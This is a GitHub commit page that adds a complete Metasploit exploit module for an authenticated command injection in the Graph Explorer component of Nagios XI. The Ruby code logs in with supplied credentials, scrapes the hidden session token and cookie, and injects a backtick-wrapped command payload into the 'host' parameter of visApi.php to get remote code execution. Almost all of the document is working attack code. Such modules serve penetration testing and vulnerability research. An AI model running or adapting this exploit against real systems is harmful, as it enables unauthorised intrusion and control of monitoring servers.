Skip to content

Commit 080e450

Browse files
author
jvazquez-r7
committed
Merge branch 'nagios_graph_explorer' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-nagios_graph_explorer
2 parents e989142 + 60feba1 commit 080e450

File tree

1 file changed

+154
-0
lines changed

1 file changed

+154
-0
lines changed
Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Nagios XI Network Monitor Graph Explorer Component Command Injection",
18+
'Description' => %q{
19+
This module exploits a vulnerability found in Nagios XI Network Monitor's
20+
component 'Graph Explorer'. An authenticated user can execute system commands
21+
by injecting it in several parameters, such as in visApi.php's 'host' parameter,
22+
which results in remote code execution.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery
28+
'sinn3r'
29+
],
30+
'References' =>
31+
[
32+
[ 'OSVDB', '83552' ],
33+
[ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ]
34+
],
35+
'Payload' =>
36+
{
37+
'BadChars' => "\x00\x0d\x0a",
38+
'Compat' =>
39+
{
40+
'PayloadType' => 'cmd',
41+
'RequiredCmd' => 'generic perl python ruby bash telnet',
42+
}
43+
},
44+
'Platform' => ['unix'],
45+
'Arch' => ARCH_CMD,
46+
'Targets' =>
47+
[
48+
['Graph Explorer Component prior to 1.3', {}]
49+
],
50+
'Privileged' => false,
51+
'DisclosureDate' => "Nov 30 2012",
52+
'DefaultTarget' => 0))
53+
54+
register_options(
55+
[
56+
# URI isn't registered, because this is set by the installer.
57+
OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),
58+
OptString.new('PASSWORD', [true, 'The password to use'])
59+
], self.class)
60+
end
61+
62+
63+
def check
64+
res = send_request_raw({
65+
'method' => 'GET',
66+
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php'
67+
})
68+
69+
if res and res.code == 404
70+
print_error("Remote host does not have Graph Explorer installed.")
71+
elsif res and res.body =~ /Your session has timed out/
72+
return Exploit::CheckCode::Detected
73+
end
74+
75+
return Exploit::CheckCode::Safe
76+
end
77+
78+
def get_login_data
79+
res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})
80+
return '' if !res
81+
82+
nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
83+
cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0] || ''
84+
return nsp, cookie
85+
end
86+
87+
def is_loggedin(cookie)
88+
res = send_request_cgi({
89+
'method' => 'GET',
90+
'uri' => '/nagiosxi/index.php',
91+
'cookie' => "nagiosxi=#{cookie}"
92+
})
93+
94+
if res and res.body =~ /Logged in as: <a href=".+">#{datastore['USERNAME']}<\/a>/
95+
return true
96+
else
97+
return false
98+
end
99+
end
100+
101+
def login(nsp, cookie)
102+
res = send_request_cgi({
103+
'method' => 'POST',
104+
'uri' => '/nagiosxi/login.php',
105+
'cookie' => "nagiosxi=#{cookie}",
106+
'vars_post' => {
107+
'nsp' => nsp,
108+
'page' => 'auth',
109+
'debug' => '',
110+
'pageopt' => 'login',
111+
'username' => datastore['USERNAME'],
112+
'password' => datastore['PASSWORD'],
113+
'loginButton' => 'Login'
114+
},
115+
'headers' => {
116+
'Origin' => "http://#{rhost}",
117+
'Referer' => "http://#{rhost}/nagiosxi/login.php"
118+
}
119+
})
120+
121+
return is_loggedin(cookie)
122+
end
123+
124+
def exploit
125+
nsp, cookie = get_login_data
126+
if nsp.empty?
127+
print_error("Unable to retrieve hidden value 'nsp'")
128+
return false
129+
end
130+
131+
if login(nsp, cookie)
132+
print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
133+
else
134+
print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
135+
return
136+
end
137+
138+
print_status("Sending Command injection")
139+
send_request_cgi({
140+
'method' => 'GET',
141+
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php',
142+
'cookie' => "nagiosxi=#{cookie}",
143+
'vars_get' => {
144+
'type' => 'stack',
145+
'host' => "localhost`#{payload.encoded}`",
146+
'service' => 'Swap_Usage',
147+
'div' => 'visContainer1566841654',
148+
'opt' => 'days'
149+
}
150+
})
151+
end
152+
153+
154+
end

0 commit comments

Comments
 (0)